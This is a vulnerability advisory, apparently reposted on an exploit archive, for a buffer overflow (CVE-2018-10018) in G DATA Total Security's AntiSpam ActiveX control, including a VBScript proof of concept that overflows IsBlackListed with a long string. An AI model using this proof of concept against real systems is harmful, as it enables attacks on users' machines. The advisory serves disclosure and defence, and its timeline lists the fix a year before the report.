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G DATA Total Security 25.4.0.3 - Activex Buffer Overflow Exploit
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<!-- =====[ Tempest Security Intelligence - ADV-24/2018 ]=== G DATA TOTAL SECURITY v25.4.0.3 Activex Buffer Overflow Author: Filipe Xavier Oliveira Tempest Security Intelligence - Recife, Pernambuco - Brazil =====[ Table of Contents]===================================================== * Overview * Detailed description * Timeline of disclosure * Thanks & Acknowledgements * References =====[ Overview]============================================================== * System affected : G DATA TOTAL SECURITY [1]. * Software Version : 25.4.0.3 (other versions may also be affected). * Impact : A user may be affected by opening a malicious black list email in the antispam filter, =====[ Detailed description]================================================== The GDASPAMLib.AntiSpam ActiveX control ASK\GDASpam.dll in G DATA Total Security 25.4.0.3 has a buffer overflow via a long IsBlackListed argument. Through a long input in a member of class called Antispam, isblackedlist class is vulnerable a buffer overflow. A poc that causes a buffer overflow : --> <?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:B9D1548D-4339-485A-ABA2-F9F9C1CBF8AC' id='target' /> <script language='vbscript'> 'for debugging/custom prolog targetFile = "C:\Program Files\G DATA\TotalSecurity\ASK\GDASpam.dll" prototype = "Function IsBlackListed ( ByVal strIP As String ) As Long" memberName = "IsBlackListed" progid = "GDASPAMLib.AntiSpam" argCount = 1 arg1=String(14356, "A") target.IsBlackListed arg1 </script></job></package> <!-- =====[ Timeline of disclosure]=============================================== 04/10/2018 - Vulnerability reported. 04/17/2018 - The vendor will fix the vulnerability. 05/24/2017 - Vulnerability fixed. 07/12/2018 - CVE assigned [1] =====[ Thanks & Acknowledgements]============================================ - Tempest Security Intelligence / Tempest's Pentest Team [3] =====[ References]=========================================================== [1] https://www.gdatasoftware.com/ [2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10018 [3] http://www.tempest.com.br =====[ EOF]==================================================================== --> # 0day.today [2024-12-24] #